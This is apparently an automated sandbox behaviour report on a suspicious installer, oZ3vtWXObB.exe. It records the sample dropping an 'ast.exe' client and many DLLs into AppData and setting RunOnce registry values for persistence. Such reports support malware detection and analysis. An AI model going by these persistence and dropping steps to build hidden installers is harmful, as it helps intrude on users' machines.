                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: windows.storage.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wldp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: kernel.appcore.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: colorui.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: mscms.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: coloradapterclient.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: compstui.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: msimg32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: inetres.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: msimg32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: windowscodecs.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: propsys.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: profapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: dwmapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: security.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: secur32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winsta.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: scrrun.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: sxs.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: version.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: mpr.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: olepro32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wininet.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wsock32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wtsapi32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winmm.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: netapi32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: shfolder.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: userenv.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: sqlite3.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: iphlpapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: netapi32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: crtdll.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: msacm32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: quartz.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: msvfw32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: avifil32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winmmbase.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winmmbase.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wkscli.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: logoncli.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: netutils.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: samcli.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winhttp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: sspicli.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: uxtheme.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: windows.storage.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wldp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: kernel.appcore.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: colorui.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: mscms.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: coloradapterclient.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: compstui.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: msimg32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: inetres.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: msimg32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: windowscodecs.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: propsys.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: profapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: dwmapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: security.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: secur32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winsta.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: scrrun.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: sxs.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
                          Source: C:\Windows\SysWOW64\xcopy.exeFile written: C:\Users\user\AppData\Roaming\is\config.iniJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwnerJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpWindow found: window name: TMainFormJump to behavior
                          Source: Window RecorderWindow detected: More than 3 window changes detected
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpRegistry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\folder_is1Jump to behavior
                          Source: oZ3vtWXObB.exeStatic file information: File size 7984574 > 1048576
                          Source: oZ3vtWXObB.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                          Source: Binary string: vcruntime140.i386.pdb source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000002.2211308718.00000000026EB000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2732860260.000000006FC51000.00000020.00000001.01000000.00000015.sdmp
                          Source: Binary string: vcruntime140.i386.pdbGCTL source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000002.2211308718.00000000026EB000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2732860260.000000006FC51000.00000020.00000001.01000000.00000015.sdmp
                          Source: Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libcrypto-1_1.pdb source: xcopy.exe, 0000000A.00000003.1918204929.0000000002927000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2724259502.000000006C2E0000.00000002.00000001.01000000.00000014.sdmp
                          Source: Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\libjpeg-turbo-win.pdb! source: xcopy.exe, 0000000A.00000003.1920462940.000000000271C000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: vcomp140.i386.pdbGCTL source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210687139.00000000026F9000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: D:\CFILES\Projects\WinSSL\openssl-1.1.0g\libcrypto-1_1.pdb source: xcopy.exe, 0000000A.00000003.1918880338.000000000294B000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: msvcr120.i386.pdb source: xcopy.exe, 0000000A.00000003.1920996069.00000000026F9000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstClient.pdbe source: xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2732468938.000000006D493000.00000002.00000001.01000000.0000000F.sdmp, astclient.dll.10.dr
                          Source: Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\ssleay32.pdb source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\libeay32.pdb source: xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.dr
                          Source: Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\ssleay32.pdb@W source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstRct.pdb source: xcopy.exe, 0000000A.00000003.1917115603.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2731291548.000000006D25F000.00000002.00000001.01000000.00000011.sdmp
                          Source: Binary string: D:\Projects\Delphi\_Assistant\10_FSTEK_02\00_Bin\Hatls.pdb source: xcopy.exe, 0000000A.00000003.1917539418.0000000002941000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2728744930.000000006C8E2000.00000002.00000001.01000000.00000010.sdmp
                          Source: Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\libjpeg-turbo-win.pdb source: xcopy.exe, 0000000A.00000003.1920462940.000000000271C000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libssl-1_1.pdb@@ source: ast.exe, 0000000B.00000002.2725917019.000000006C391000.00000002.00000001.01000000.00000013.sdmp
                          Source: Binary string: vcomp140.i386.pdb source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210687139.00000000026F9000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: D:\Projects\Delphi\_Assistant\10_FSTEK_02\00_Bin\Hatls.pdbf source: xcopy.exe, 0000000A.00000003.1917539418.0000000002941000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2728744930.000000006C8E2000.00000002.00000001.01000000.00000010.sdmp
                          Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASM source: ast.exe, 0000000B.00000002.2724259502.000000006C277000.00000002.00000001.01000000.00000014.sdmp
                          Source: Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libssl-1_1.pdb source: ast.exe, 0000000B.00000002.2725917019.000000006C391000.00000002.00000001.01000000.00000013.sdmp
                          Source: Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstClient.pdb source: xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2732468938.000000006D493000.00000002.00000001.01000000.0000000F.sdmp, astclient.dll.10.dr
                          Source: Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstRct.pdbM6 source: xcopy.exe, 0000000A.00000003.1917115603.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2731291548.000000006D25F000.00000002.00000001.01000000.00000011.sdmp
                          Source: Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASMOpenSSL 1.1.1l 24 Aug 2021built on: Tue Sep 7 07:24:19 2021 UTCplatform: VC-WIN32OPENSSLDIR: "C:\Program Files (x86)\Common Files\SSL"ENGINESDIR: "C:\Program Files (x86)\OpenSSL\lib\engines-1_1"not availabledes(long) source: ast.exe, 0000000B.00000002.2724259502.000000006C277000.00000002.00000001.01000000.00000014.sdmp
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDBAE50 WSAStartup,WSACleanup,GetModuleHandleA,GetProcAddress,_strpbrk,LoadLibraryA,GetProcAddress,GetSystemDirectoryA,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,if_nametoindex,QueryPerformanceFrequency,11_2_6BDBAE50
                          Source: oZ3vtWXObB.exeStatic PE information: section name: .didata
                          Source: oZ3vtWXObB.tmp.0.drStatic PE information: section name: .didata
                          Source: oZ3vtWXObB.tmp.3.drStatic PE information: section name: .didata
                          Source: is-9P1JU.tmp.4.drStatic PE information: section name: .rodata
                          Source: is-4DKN3.tmp.4.drStatic PE information: section name: .textbss
                          Source: is-4DKN3.tmp.4.drStatic PE information: section name: .msvcjmc
                          Source: is-4DKN3.tmp.4.drStatic PE information: section name: .00cfg
                          Source: is-T74LT.tmp.4.drStatic PE information: section name: .00cfg
                          Source: is-U37IG.tmp.4.drStatic PE information: section name: .didata
                          Source: is-0I1DI.tmp.4.drStatic PE information: section name: .00cfg
                          Source: is-TI6M0.tmp.4.drStatic PE information: section name: .code
                          Source: libssl-1_1.dll.10.drStatic PE information: section name: .00cfg
                          Source: quartz.dll.10.drStatic PE information: section name: .code
                          Source: astrct.dll.10.drStatic PE information: section name: .rodata
                          Source: hatls.dll.10.drStatic PE information: section name: .textbss
                          Source: hatls.dll.10.drStatic PE information: section name: .msvcjmc
                          Source: hatls.dll.10.drStatic PE information: section name: .00cfg
                          Source: libcrypto-1_1.dll.10.drStatic PE information: section name: .00cfg
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDE9F78 push ecx; ret 11_2_6BDE9F76
                          Source: is-6KVQP.tmp.4.drStatic PE information: section name: .text entropy: 6.95576372950548
                          Source: msvcr120.dll.10.drStatic PE information: section name: .text entropy: 6.95576372950548
                          Source: C:\Windows\SysWOW64\xcopy.exeFile created: C:\Users\user\AppData\Roaming\is\astclient.dllJump to dropped file
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeFile created: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeFile created: C:\Users\user\AppData\Roaming\is\astrct.dllJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeFile created: C:\Users\user\AppData\Roaming\is\libeay32.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-4DKN3.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\aw_sas32.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\libcryptoMD.dll (copy)Jump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeFile created: C:\Users\user\AppData\Roaming\is\msvcr120.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-V6G0T.tmpJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeFile created: C:\Users\user\AppData\Roaming\is\libcryptoMD.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-6KVQP.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-T74LT.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-0I1DI.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\libeay32.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\unins000.exe (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-L5V14.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-U4T29.tmpJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeFile created: C:\Users\user\AppData\Roaming\is\libssl-1_1.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\astrct.dll (copy)Jump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeFile created: C:\Users\user\AppData\Roaming\is\AstCrp.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-JTK9U.tmpJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeFile created: C:\Users\user\AppData\Roaming\is\libjpeg-turbo-win.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\is-7K2HG.tmp\_isetup\_setup64.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\opus.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-9P1JU.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\is-J9P8D.tmp\_isetup\_setup64.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\is-7K2HG.tmp\_isetup\_iscrypt.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-J00N2.tmpJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeFile created: C:\Users\user\AppData\Roaming\is\opus.dllJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeFile created: C:\Users\user\AppData\Roaming\is\ast.exeJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeFile created: C:\Users\user\AppData\Roaming\is\aw_sas32.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\astclient.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-HTIEL.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-U37IG.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\libjpeg-turbo-win.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-TI6M0.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\quartz.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-02JO0.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\is-J9P8D.tmp\_isetup\_iscrypt.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\hatls.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\AstCrp.dll (copy)Jump to dropped file
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeFile created: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\libcrypto-1_1.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\msvcr120.dll (copy)Jump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeFile created: C:\Users\user\AppData\Roaming\is\libcurl.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\libcurl.dll (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\ast.exe (copy)Jump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-16M5V.tmpJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\libssl-1_1.dll (copy)Jump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeFile created: C:\Users\user\AppData\Roaming\is\libcrypto-1_1.dllJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\Temp\u3w5\is-QB9RB.tmpJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeFile created: C:\Users\user\AppData\Roaming\is\quartz.dllJump to dropped file
                          Source: C:\Windows\SysWOW64\xcopy.exeFile created: C:\Users\user\AppData\Roaming\is\hatls.dllJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce actJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce actJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce actJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce actJump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
